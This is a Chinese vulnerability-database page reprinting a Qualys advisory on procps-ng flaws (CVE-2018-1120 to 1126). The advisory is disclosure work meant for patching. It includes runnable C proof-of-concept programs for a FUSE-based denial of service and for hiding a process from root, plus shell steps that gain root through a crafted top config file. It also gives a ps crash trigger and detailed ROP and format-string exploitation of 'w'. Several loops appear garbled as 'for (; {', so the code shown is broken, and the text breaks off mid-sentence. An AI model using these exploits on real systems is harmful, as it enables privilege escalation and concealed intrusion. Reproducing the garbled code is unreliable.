Procps-ng Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1034932 漏洞类型
发布时间 2018-05-31 更新时间 2018-05-31
CVE编号 CVE-2018-1120
CVE-2018-1121
CVE-2018-1122
CVE-2018-1123
CVE-2018-1124
CVE-2018-1125
CVE-2018-1126
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2018050322
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Qualys Security Advisory

Procps-ng Audit Report


========================================================================
Contents
========================================================================

Summary
1. FUSE-backed /proc/PID/cmdline
2. Unprivileged process hiding
3. Local Privilege Escalation in top (Low Impact)
4. Denial of Service in ps
5. Local Privilege Escalation in libprocps (High Impact)
   5.1. Vulnerability
   5.2. Exploitation
   5.3. Exploitation details
   5.4. Non-PIE exploitation
   5.5. PIE exploitation
Acknowledgments
Patches.tar.gz.b64


========================================================================
Summary
========================================================================

We performed a complete audit of procps-ng, the "command line and full
screen utilities for browsing procfs, a 'pseudo' file system dynamically
generated by the [Linux] kernel to provide information about the status
of entries in its process table" (https://gitlab.com/procps-ng/procps).
procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap,
ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w,
watch, and the necessary libprocps library.

We discovered and submitted patches for more than a hundred bugs and
vulnerabilities in procps-ng; for reference, our patches are available
at:

https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz

and base64-encoded at the end of this advisory. In the remainder of this
advisory, we present our most interesting findings:

1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)

  An attacker can block any read() access to /proc/PID/cmdline by
  mmap()ing a FUSE file (Filesystem in Userspace) onto this process's
  command-line arguments. The attacker can therefore block pgrep, pidof,
  pkill, ps, and w, either forever (a denial of service), or for some
  controlled time (a synchronization tool for exploiting other
  vulnerabilities).

2. Unprivileged process hiding (CVE-2018-1121)

  An unprivileged attacker can hide a process from procps-ng's
  utilities, by exploiting either a denial of service (a rather noisy
  method) or a race condition inherent in reading /proc/PID entries (a
  stealthier method).

3. Local Privilege Escalation in top (CVE-2018-1122)

  top reads its configuration file from the current working directory,
  without any security check, if the HOME environment variable is unset
  or empty. In this very unlikely scenario, an attacker can carry out an
  LPE (Local Privilege Escalation) if an administrator executes top in
  /tmp (for example), by exploiting one of several vulnerabilities in
  top's config_file() function.

4. Denial of Service in ps (CVE-2018-1123)

  An attacker can overflow the output buffer of ps, when executed by
  another user, administrator, or script: a denial of service only (not
  an LPE), because ps mmap()s its output buffer and mprotect()s its last
  page with PROT_NONE (an effective guard page).

5. Local Privilege Escalation in libprocps (CVE-2018-1124)

  An attacker can exploit an integer overflow in libprocps's
  file2strvec() function and carry out an LPE when another user,
  administrator, or script executes a vulnerable utility (pgrep, pidof,
  pkill, and w are vulnerable by default; other utilities are vulnerable
  if executed with non-default options). Moreover, an attacker's process
  running inside a container can trigger this vulnerability in a utility
  running outside the container: the attacker can exploit this userland
  vulnerability and break out of the container or chroot. We will
  publish our proof-of-concept exploits in the near future.

Additionally, CVE-2018-1125 has been assigned to
0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and
CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch.


========================================================================
1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
========================================================================

In this experiment, we add a sleep(60) to hello_read() in
https://github.com/libfuse/libfuse/blob/master/example/hello.c and
compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the
command-line arguments of a simple proof-of-concept:

$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
$ mkdir /tmp/fuse
$ ./hello /tmp/fuse

$ cat > fuse-backed-cmdline.c << "EOF"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

#define PAGESZ ((size_t)4096)

int
main(const int argc, const char * const argv[])
{
    if (argc <= 0) die();
    const char * const arg_start = argv[0];
    const char * const last_arg = argv[argc-1];
    const char * const arg_end = last_arg + strlen(last_arg) + 1;

    if (arg_end <= arg_start) die();
    const size_t len = arg_end - arg_start;
    if (len < 2 * PAGESZ) die();

    char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1));
    if (addr < arg_start) die();
    if (addr + PAGESZ > arg_end) die();

    const int fd = open("/tmp/fuse/hello", O_RDONLY);
    if (fd <= -1) die();
    if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die();
    if (close(fd)) die();

    for (; {
        sleep(1);
    }
    die();
}
EOF
$ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline
$ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'`

Then, if root executes ps (for example):

# time ps ax
  PID TTY      STAT   TIME COMMAND
...
real    1m0.021s
user    0m0.003s
sys     0m0.017s


========================================================================
2. Unprivileged process hiding (CVE-2018-1121)
========================================================================

Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the
/proc/PID/cmdline of every process running on the system; hence, an
unprivileged attacker can hide a process (albeit noisily) by exploiting
a denial of service in procps-ng (for example, the FUSE-backed denial of
service, or one of the integer overflows in file2strvec()).

Alternatively, we devised a stealthier method for hiding a process:

1/ fork() our process until it occupies the last PID
(/proc/sys/kernel/pid_max - 1) or one of the last PIDs;

2/ monitor (with inotify) the /proc directory and the /proc/PID/stat
file of one of the very first PIDs, for IN_OPEN events (opendir() and
open());

3/ when these events occur (when a procps-ng utility starts scanning
/proc for /proc/PID entries), fork() our process until its PID wraps
around and occupies one of the very first PIDs;

4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE
event (closedir());

5/ when this event occurs (when the procps-ng utility stops scanning
/proc), go back to 1/.

This simple method works, because the kernel's proc_pid_readdir()
function returns the /proc/PID entries in ascending numerical order.
Moreover, this race condition can be made deterministic by using a
FUSE-backed /proc/PID/cmdline as a synchronization tool.

$ cat > unprivileged-process-hiding.c << "EOF"
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(void)
{
    for (; {
        char lost[64];
      {
        const pid_t hi = getpid();
        pid_t lo = fork();
        if (lo <= -1) die();
        if (!lo) { /* child */
            lo = getpid();
            if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */
            for (; {
                if (kill(hi, 0) != -1) continue;
                if (errno != ESRCH) die();
                break;
            }
            continue;
        }
        /* parent */
        if (lo > hi) exit(EXIT_FAILURE); /* child continues */
        int status = 0;
        if (waitpid(lo, &status, 0) != lo) die();
        if (!WIFEXITED(status)) die();
        if (WEXITSTATUS(status) != EXIT_SUCCESS) die();

        printf("%d -> %d -> ", hi, lo);
        for (; {
            struct stat st;
            if (--lo <= 0) die();
            snprintf(lost, sizeof(lost), "/proc/%d/stat", lo);
            if (stat(lost, &st) == 0) break;
        }
        printf("%d\n", lo);
      }

        const int pofd = inotify_init();
        if (pofd <= -1) die();
        if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die();

        const int lofd = inotify_init();
        if (lofd <= -1) die();
        if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die();

        const int pcfd = inotify_init();
        if (pcfd <= -1) die();
        if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die();

        char buf[sizeof(struct inotify_event) + NAME_MAX + 1];
        const struct inotify_event * const evp = (void *)buf;

        for (; {
            if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
            if (evp->mask & IN_ISDIR) break;
        }

        if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
        for (; {
            const pid_t hi = getpid();
            pid_t lo = fork();
            if (lo <= -1) die();
            if (lo) exit(EXIT_SUCCESS); /* parent */
            /* child */
            lo = getpid();
            if (lo < hi) {
                printf("%d -> %d\n", hi, lo);
                break;
            }
        }

        for (; {
            if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
            if (evp->mask & IN_ISDIR) break;
        }

        if (close(pofd)) die();
        if (close(lofd)) die();
        if (close(pcfd)) die();
    }
    die();
}
EOF
$ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding
$ ./unprivileged-process-hiding

Then, if root executes ps (for example):

# ps ax | grep '[u]nprivileged-process-hiding' | wc
      0       0       0


========================================================================
3. Local Privilege Escalation in top (CVE-2018-1122)
========================================================================

If a/ an administrator executes top in a directory writable by an
attacker and b/ the HOME environment variable is unset or empty, then
top reads its configuration file from the current working directory,
without any security check:

3829 static void configs_read (void) {
....
3847    p_home = getenv("HOME");
3848    if (!p_home || p_home[0] == '\0')
3849       p_home = ".";
3850    snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname);
3851 
3852    if (!(fp = fopen(Rc_name, "r"))) {
....
3865    if (fp) {
3866       p = config_file(fp, Rc_name, &tmp_delay);

Although b/ is very unlikely, we developed a simple command-line method
for exploiting one of the vulnerabilities in config_file(), when top is
not a PIE (Position-Independent Executable). For example, on Ubuntu
16.04.4:

$ file /usr/bin/top
/usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped

First, we dump a clean configuration file to /tmp/.toprc, by running top
and pressing the 'W' key:

$ cd /tmp
$ env -u HOME top
W
q

Second, we add an arbitrary "inspect" command to this configuration file
(inspect commands are normally executed when the user presses the 'Y'
key):

$ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc

To execute our inspect command without user interaction, we will emulate
the 'Y' key by jumping directly into inspection_utility(), at 0x40a989
(the fflush(stdout) is INSP_BUSY's last instruction):

3442 static void inspection_utility (int pid) {
....
3496          case kbd_ENTER:
3497             INSP_BUSY;
3498             Insp_sel = &Inspect.tab[sel];
3499             Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid);

  40a97d:       48 8b 3d 1c f8 20 00    mov    0x20f81c(%rip),%rdi        # 61a1a0 <stdout>
  40a984:       e8 67 7f ff ff          callq  4028f0 <fflush@plt>
  40a989:       48 63 05 2c f9 20 00    movslq 0x20f92c(%rip),%rax        # 61a2bc
  40a990:       8b 74 24 74             mov    0x74(%rsp),%esi
  40a994:       48 c1 e0 06             shl    $0x6,%rax
  40a998:       48 03 05 61 11 23 00    add    0x231161(%rip),%rax        # 63bb00
  40a99f:       48 89 05 12 11 23 00    mov    %rax,0x231112(%rip)        # 63bab8
  40a9a6:       48 8b 78 18             mov    0x18(%rax),%rdi
  40a9aa:       ff 10                   callq  *(%rax)
  40a9ac:       5b                      pop    %rbx

To jump directly into inspection_utility(), we will take control of
top's execution flow, by exploiting a vulnerability in config_file().
"sortindx" is read from the configuration file without any sanity check,
and is later used by window_show() to access a struct FLD_t which
contains a function pointer "sort":

5876 static int window_show (WIN_t *q, int wmax) {
....
5894       qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort);

  40de01:       ba 08 00 00 00          mov    $0x8,%edx
  40de06:       48 c1 e0 05             shl    $0x5,%rax
  40de0a:       48 8b 88 30 99 61 00    mov    0x619930(%rax),%rcx
  40de11:       e8 7a 47 ff ff          callq  402590 <qsort@plt>

To take control of this function pointer, we will write 0x40a989's LSW
(Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW
(Most Significant Word, 32 bits) into "summclr", which are read from the
configuration file and written to 0x63ed30 (and 0x63ed34), a memory
location accessible by 0x619930+(sortindx<<0x5):

3676 static const char *config_file (FILE *fp, const char *name, float *delay) {
....
3710       if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n"
3711          , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems))
3712             return p;
3713       if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n"
3714          , &w->rc.summclr, &w->rc.msgsclr
3715          , &w->rc.headclr, &w->rc.taskclr))
3716             return p;

  406f90:       4d 8d b5 30 ed 63 00    lea    0x63ed30(%r13),%r14
  .......
  406fa9:       41 56                   push   %r14
  .......
  406fb3:       e8 d8 b7 ff ff          callq  402790 <fscanf@plt>
  .......
  406fca:       49 8d 95 34 ed 63 00    lea    0x63ed34(%r13),%rdx
  .......
  406fe5:       e8 a6 b7 ff ff          callq  402790 <fscanf@plt>

Next, we modify the configuration file's "graph_mems", "summclr", and
"sortindx" accordingly:

$ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc

$ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc

$ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc

Last, we turn off the View_MEMORY bit in the configuration file's
"winflags", to prevent summary_show() from crashing because of our
out-of-bounds "graph_mems":

314 #define View_MEMORY  0x001000     // 'm' - display memory summary

5418 static void summary_show (void) {
....
5499    if (isROOM(View_MEMORY, 2)) {
....
5540       if (w->rc.graph_mems) {
....
5559          ix = w->rc.graph_mems - 1;
....
5572          snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type);

$ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/`
$ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc

Then, if an administrator executes top in /tmp, without a HOME
environment variable (or with an empty HOME environment variable):

# cat /tmp/top.*
cat: '/tmp/top.*': No such file or directory

# cd /tmp
# env -u HOME top
...
        signal 11 (SEGV) was caught by top, please
        see http://www.debian.org/Bugs/Reporting
Segmentation fault (core dumped)

# cat /tmp/top.*
uid=0(root) gid=0(root) groups=0(root)


========================================================================
4. Denial of Service in ps (CVE-2018-1123)
========================================================================

ps's functions pr_args(), pr_comm(), and pr_fname() are vulnerable to an
mmap-based buffer overflow of outbuf (ps's output buffer):

 401 static int pr_args(char *restrict const outbuf, const proc_t *restrict const pp){
 402   char *endp = outbuf;
 403   int rightward = max_rightward;
 404   int fh = forest_helper(outbuf);
 405 
 406   endp += fh;
 407   rightward -= fh;
 408 
 409   if(pp->cmdline && !bsd_c_option)
 410     endp += escaped_copy(endp, *pp->cmdline, OUTBUF_SIZE, &rightward);
 411   else
 412     endp += escape_command(endp, pp, OUTBUF_SIZE, &rightward, ESC_DEFUNCT);
 413 
 414   if(bsd_e_option && rightward>1) {
 415     if(pp->environ && *pp->environ) {
 416       *endp++ = ' ';
 417       rightward--;
 418       endp += escape_strlist(endp, pp->environ, OUTBUF_SIZE, &rightward);
 419     }
 420   }
 421   return max_rightward-rightward;
 422 }

The number of bytes written to endp by the escape*() functions is added
to endp (a pointer into outbuf), but never subtracted from OUTBUF_SIZE.
Normally "rightward" prevents this buffer overflow, because the maximum
number of "cells" written to outbuf is OUTBUF_SIZE, and is equal to the
number of "bytes" written to outbuf; but not in escape_str_utf8():

 36 static int escape_str_utf8(char *restrict dst, const char *restrict src, int bufsize, int *maxcells){
 ..
 50     if (!(len = mbrtowc (&wc, src, MB_CUR_MAX, &s)))
 ..
 78       int wlen = wcwidth(wc);
 ..
100           memcpy(dst, src, len);
101           my_cells += wlen;
102           dst += len;
103           my_bytes += len;
104           src += len;

For example, in the "en_US.UTF-8" locale, the multibyte sequence
"\xf4\x81\x8e\xb6" consumes 4 bytes, but only 1 cell, and an easy
trigger for one of the outbuf overflows is:

$ (A=`python -c 'print "\xf4\x81\x8e\xb6" * 32767'` exec -a `python -c 'print "A" * 65535'` sleep 60) &
[1] 2670

# env LANG=en_US.UTF-8 ps awwe
  PID TTY      STAT   TIME COMMAND
...
Signal 11 (SEGV) caught by ps (procps-ng version 3.3.10).
 2670 pts/0    S      0:00ps:display.c:66: please report this bug
Segmentation fault

This buffer overflow is a denial of service only (not an LPE), because
ps mmap()s outbuf and mprotect()s its last page with PROT_NONE (an
effective guard page):

2147 void init_output(void){
....
2164   outbuf = mmap(
2165     0,
2166     page_size * (outbuf_pages+1), // 1 more, for guard page at high addresses
2167     PROT_READ | PROT_WRITE,
2168     MAP_PRIVATE | MAP_ANONYMOUS,
2169     -1,
2170     0
2171   );
....
2174   mprotect(outbuf + page_size*outbuf_pages, page_size, PROT_NONE); // guard page


========================================================================
5. Local Privilege Escalation in libprocps (CVE-2018-1124)
========================================================================

========================================================================
5.1. Vulnerability
========================================================================

libprocps's file2strvec() function parses a process's /proc/PID/cmdline
(or /proc/PID/environ), and creates an in-memory copy of this process's
argv[] (command-line argument strings, and pointers to these strings).
file2strvec() is called when either PROC_FILLCOM or PROC_FILLARG, but
not PROC_EDITCMDLCVT, is passed to openproc() or readproctab() (or
PROC_FILLENV but not PROC_EDITENVRCVT).

file2strvec() is vulnerable to three integer overflows (of "tot", "c",
and "tot + c + align"):

 660 static char** file2strvec(const char* directory, const char* what) {
 661     char buf[2048];     /* read buf bytes at a time */
 662     char *p, *rbuf = 0, *endbuf, **q, **ret;
 663     int fd, tot = 0, n, c, end_of_file = 0;
 664     int align;
 ...
 670     /* read whole file into a memory buffer, allocating as we go */
 671     while ((n = read(fd, buf, sizeof buf - 1)) >= 0) {
 ...
 686         rbuf = xrealloc(rbuf, tot + n);         /* allocate more memory */
 687         memcpy(rbuf + tot, buf, n);             /* copy buffer into it */
 688         tot += n;                               /* increment total byte ctr */
 ...
 697     endbuf = rbuf + tot;                        /* count space for pointers */
 698     align = (sizeof(char*)-1) - ((tot + sizeof(char*)-1) & (sizeof(char*)-1));
 699     for (c = 0, p = rbuf; p < endbuf; p++) {
 700         if (!*p || *p == '\n')
 701             c += sizeof(char*);
 ...
 705     c += sizeof(char*);                         /* one extra for NULL term */
 706 
 707     rbuf = xrealloc(rbuf, tot + c + align);     /* make room for ptrs AT END */

To the best of our knowledge, the integer overflows of "c" and "tot + c
+ align" are not exploitable beyond a denial of service: they result in
an mmap-based buffer overflow of rbuf, but with pointers only (pointers
to our command-line argument strings, and a NULL terminator). Similarly,
we were unable to exploit the integer overflow of "tot" on 32-bit.

On 64-bit, however, the integer overflow of "tot" results in a memcpy()
of arbitrary bytes (our command-line arguments) to an offset of roughly
-2GB below rbuf. Surprisingly, the "xrealloc(rbuf, tot + n)" before the
memcpy() does not exit() when "tot" becomes negative, because xrealloc()
incorrectly uses an "unsigned int size" argument instead of a size_t
(CVE-2018-1126):

 66 void *xrealloc(void *oldp, unsigned int size) {

========================================================================
5.2. Exploitation
========================================================================

To exploit the integer overflow of "tot" on 64-bit, we are faced with
several difficulties:

- We must defeat NX, ASLR, PIE, full RELRO, SSP (Stack-Smashing
  Protector), and FORTIFY.

- Our exploit must be one-shot, or as close to one-shot as possible: we
  may use brute-force if the target procps-ng utility is executed by a
  script, but we have only one chance to exploit this vulnerability if
  the target utility is executed manually by an administrator.

- We have no control over the target utility's command-line arguments,
  environment variables, or resource limits (it is executed by another
  user, administrator, or script), and we have no direct channel for an
  information leak (we have no access to the target utility's output,
  for example).

- We were unable to exploit the integer overflow of "tot" when rbuf is
  mmap()ed (but we were also unable to prove that it is unexploitable);
  when the integer "tot" overflows, rbuf is an mmap()ed chunk (its size
  is roughly 2GB), and because Linux's mmap() is a top-down allocator,
  we believe that:

  . rbuf must be allocated in a hole of the mmap-space (to survive the
    memcpy() at a negative offset below rbuf);

  . it is impossible to make such a large hole (in procps-ng, calls to
    the malloc functions are extremely rare).

Despite these difficulties, we developed proof-of-concept exploits
against the procps-ng utility "w" on Ubuntu 16.04 (a one-shot exploit
against a partial RELRO, non-PIE w), Debian 9 and Fedora 27 (a nearly
one-shot exploit against a full RELRO, PIE w): if we first force "w" to
malloc()ate n_mmaps_max = 64K mmap()ed chunks (whose size is larger than
mmap_threshold = 128KB), then malloc() will not call mmap() anymore, but
will call brk() instead, even for chunks larger than mmap_threshold. The
2GB rbuf (after the integer overflow of tot) will therefore be allocated
on the heap by brk(), and because brk() is a bottom-up allocator, we can
easily arrange for the memcpy() at rbuf - 2GB to overwrite the beginning
of the heap:

- if w is not a PIE, we overwrite libprocps's internal PROCTAB structure
  and its function pointers;

- if w is a PIE, we overwrite the glibc's internal *gettext() structures
  and transform this memory corruption into a format-string exploit.

To force 64K allocations of 128KB (8GB) in w, we need 64K distinct PIDs
(each /proc/PID/cmdline allocates 128KB in file2strvec()): consequently,
/proc/sys/kernel/pid_max must be greater than 64K (it is 32K by default,
even on 64-bit). This is not an unusual setting: large servers (database
servers, container and storage platforms) commonly increase the value of
pid_max (up to 4M on 64-bit). Besides pid_max, other settings may limit
our ability to spawn 64K processes: /proc/sys/kernel/threads-max,
RLIMIT_NPROC, and systemd-logind's UserTasksMax. Unlike pid_max,
however, these limits are not insuperable obstacles:

- they may be naturally greater than 64K, depending on the total number
  of RAM pages (for /proc/sys/kernel/threads-max and RLIMIT_NPROC) or
  the value of pid_max (for UserTasksMax);

- they may not apply to the attacker's user account (for example,
  systemd-logind may not at all manage this specific user account);

- in any case, we do not need to spawn 64K concurrent processes: if we
  use /proc/PID/cmdline as a FUSE-backed synchronization tool, we need
  only a few concurrent processes.

========================================================================
5.3. Exploitation details
========================================================================

Our proof-of-concept exploit spawns five different types of processes
("main", "mmap", "dist", "wrap", and "srpt"):

- a long-lived "main" process, which spawns and coordinates the other
  processes;

- 64K long-lived "mmap" processes, which guarantee that the ~2GB rbufs
  of our "dist" and "wrap" processes are allocated by brk() in the heap
  of our future "w" target; the "mmap" processes occupy the lowest PIDs
  available, to avoid interference from other processes with the heap
  layout of w;

- a long-lived "dist" ("distance") process, whose /proc/PID/cmdline is
  carefully constructed to cover the exact distance between our target
  structure (at the beginning of w's heap) and the rbuf of our "wrap"
  process (at the end of w's heap);

- a long-lived "wrap" ("integer wrap") process, which overflows the
  integer "tot" and overwrites our target structure at the beginning of
  w's heap (with the memcpy() at rbuf - 2GB);

- short-lived "srpt" ("simulate readproctab") processes, which measure
  the exact distance between our target structure (at the beginning of
  w's heap) and the rbuf of our "wrap" process (at the end of w's heap);
  because this distance depends on an accurate list of processes running
  on the system, our exploit regularly spawns "srpt" processes until the
  distance stabilizes (it is particularly unstable after a reboot).

We use a few noteworthy tricks in this exploit:

- we do not fork() but clone() the "mmap" processes (we use the flags
  CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | CLONE_SIGHAND, but
  not CLONE_THREAD, because each process must have its own /proc/PID
  entry): this is much faster, and significantly reduces the memory
  consumption of our exploit (the target "w" process itself already
  consumes over 12GB = 64K*128KB + 2GB + 2GB -- the rbufs for the
  "mmap", "dist", and "wrap" processes);

- we analyze the ~2GB command-line argument strings of our "dist" and
  "wrap" processes, to detect repeated patterns and replace them with
  our equivalent file-backed mmap()s (this further reduces the memory
  consumption of the exploit); moreover, we replace the argv[] pointers
  of these processes with PROT_NONE mmap()s (hundreds of megabytes that
  are never accessed);

- we initially simulated readproctab() with our own exploit code, but
  eventually switched to a small LD_PRELOAD library that instruments the
  real "w" utility and provides more accurate measurements.

There is much room for improvement in this proof-of-concept exploit: for
example, it depends on the exact distance between our target structure
(at the beginning of w's heap) and the rbuf of our "wrap" process (at
the end of w's heap), but this distance is hard to measure inside a
container, because processes running outside the container are not
visible inside the container (brute-force may be a solution if the
target utility is executed by a script, but not if it is executed
manually by an administrator; better solutions may exist).

========================================================================
5.4. Non-PIE exploitation
========================================================================

In this section, we describe our simplest proof-of-concept exploit,
against the non-PIE "w" on Ubuntu 16.04: we overflow the integer "tot"
in file2strvec(), we overwrite the PROCTAB structure and its function
pointers, and we jump into the executable segment of w. However, w is
very small and contains no useful gadgets, syscall instructions, or
library calls. Instead, we use a technique pioneered by Nergal in
http://phrack.org/issues/58/4.html ("5 - The dynamic linker's
dl-resolve() function"):

We jump to the very beginning of w's PLT (Procedure Linkage Table),
which calls _dl_runtime_resolve() and _dl_fixup() with a "reloc_arg"
that we control (it is read from the stack) and that indexes our own
fake Elf64_Rela structure (in w's heap), which in turn indexes a fake
Elf64_Sym structure, which in turn indexes a string that we control and
that allows us to call any library function, by name (even if it does
not appear in w's PLT). The obvious choice here is the "system"
function:

- the RDI register (the first argument of the function pointer that we
  overwrote, and hence the command argument of system()) points to the
  PROCTAB structure, whose contents we control;

- we do not need to worry about the privilege dropping of /bin/sh,
  because w is not a set-user-ID executable.

Finally, we must solve two practical problems to use this dynamic-linker
technique against w:

- our fake ELF structures are located in the heap, but indexed from the
  executable, and a random gap separates the heap from the executable:
  we therefore allocate four large areas in the heap (large enough to
  defeat the randomization of the heap), one for each of our fake
  structures (Elf64_Rela, Elf64_Sym, "system", and ndx for symbol
  versioning);

- malloc guarantees a 16-byte alignment, but Elf64_Rela and Elf64_Sym
  are 24-byte structures: luckily, the last 8 bytes of these structures
  are unused, and we therefore truncate our fake structures to 16 bytes.

For example, on Ubuntu 16.04.4, we overwrite the PROCTAB structure with
the following ROP chain:

  procfs  taskdir  tdu  df   finder   reader  tfinder
|--------|--------|----+---|--------|--------|--------|------|--------|--------|
| id>>/tmp/w.$$        |000|0x4020bb|0x4029db|0x401100| .... |relocarg|0x402a50|
|--------|--------|----+---|--------|--------|--------|------|--------|--------|
                                                    0xffb8 bytes

- the first gadget that we execute, 0x4020bb, pivots the stack pointer
  to RDI (which points to the very beginning of the PROCTAB structure):
  "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;"

- the second gadget that we execute, 0x4029db, increases the stack
  pointer by 0xffb8 bytes (it would otherwise crash into the beginning
  of the heap, because the stack grows down): "ret 0xffb8;"

- the third gadget that we execute, 0x401100, calls
  _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this
  effectively calls system() with the command located at RDI,
  "id>>/tmp/w.$$"):

  401100:       ff 35 02 2f 20 00       pushq  0x202f02(%rip)
  401106:       ff 25 04 2f 20 00       jmpq   *0x202f04(%rip)

- the fourth gadget that we execute, 0x402a50, makes a clean exit:

  402a50:       bf 01 00 00 00          mov    $0x1,%edi
  402a55:       e8 36 e7 ff ff          callq  401190 <_exit@plt>

$ ./w-exploit-Non-PIE
positive_tot 2147482113
distance_tot 2147482112
distance 12024752
...
distance 12024752
off 279917264
ver_beg  2e26ce0 ver_end  5426ce0
rel_beg 15f19fb0 rel_end 18519fb0
str_beg 2900d280 str_end 2b60d280
sym_beg 3c100570 sym_end 3e700570
reloc_arg 16957128
nentries 5
POSITIVE_TOT 2147482113
DISTANCE_TO_PT 1
negwrite_off 2147485183
nentries 1
ready

Then, if an administrator executes w:

# cat /tmp/w.*
cat: '/tmp/w.*': No such file or directory

# w

# cat /tmp/w.*
uid=0(root) gid=0(root) groups=0(root)

========================================================================
5.5. PIE exploitation
========================================================================

In this section, we describe our proof-of-concept exploit against the
PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a
partial overwrite of a function pointer in the PROCTAB structure, does
not work:

- we are limited to a 2-byte overwrite, or else we lose the "one-shot"
  quality of our exploit (we must brute-force the random bits that we
  overwrite);

- the original function pointer refers to a piece of code in libprocps
  that offers a very limited choice of gadgets;

- file2strvec() ends our command-line argument strings (which overwrite
  the function pointer) with a null byte, and further reduces the number
  of available gadgets.

Our second, working technique is derived from halfdog's fascinating
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and
transforms libprocps's integer overflow and memory corruption into a
format-string exploit:

- we overwrite the dirname pointer to "/usr/share/locale" (a member of
  the struct binding malloc()ated at the very beginning of w's heap by
  bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry
  about ASLR, because we arrange for file2strvec() to overwrite dirname
  with a pointer to our command-line argument strings; alternatively, we
  could overwrite the "procps-ng" string (malloc()ated at the beginning
  of w's heap by textdomain()), but this would also overwrite the chunk
  header of the struct PROCTAB, and would cause a crash in closeproc();

- we thereby control the translation strings returned by the *gettext()
  functions and the _() macro (the overwritten dirname pointer is used
  to construct the names of the translation files ".mo") and therefore
  control two format-strings in w's main():

591                 printf(_("%-*s TTY      "), userlen, _("USER"));
...
595                         printf(_("  LOGIN@   IDLE   JCPU   PCPU WHAT\n"));

- we exploit the first format-string to create a pointer to a saved RIP
  on the stack, and we write this pointer to the stack itself;

- we use this pointer, and the second format-string, to overwrite the
  saved RIP with the address of a useful libc gadget (we return into
  popen() on Debian 9, and wordexp() on Fedora 27).

However, unlike halfdog, we cannot defeat ASLR by simply dumping the
contents of the stack with a format-string, because we have not access
to the output of "w" (it is executed by another user, administrator, or
script). Instead, we implement Chris Evans's "read-add-write" primitive
https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html
("Trick #6: co-opting an addition primitive") with format-strings only.

With the first format-string:

- we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer
  that is located on the stack itself and hence accessible through the
  format-string arguments -- for example, the argv pointer;

- we "add" a distribution-specific constant to this LSW, to make it
  point to a saved RIP on the stack -- for example, the saved RIP pushed
  onto the stack by the call to printf_positional() in vfprintf();

- we "write" this modified LSW to the LSW of another stack pointer that
  is also located on the stack itself and hence accessible through the
  format-string arguments -- for example, the argv[0] pointer.

With the second format-string:

- we "read" the LSW of a libc pointer that is located on the stack and
  hence accessible through the format-string arguments -- for example,
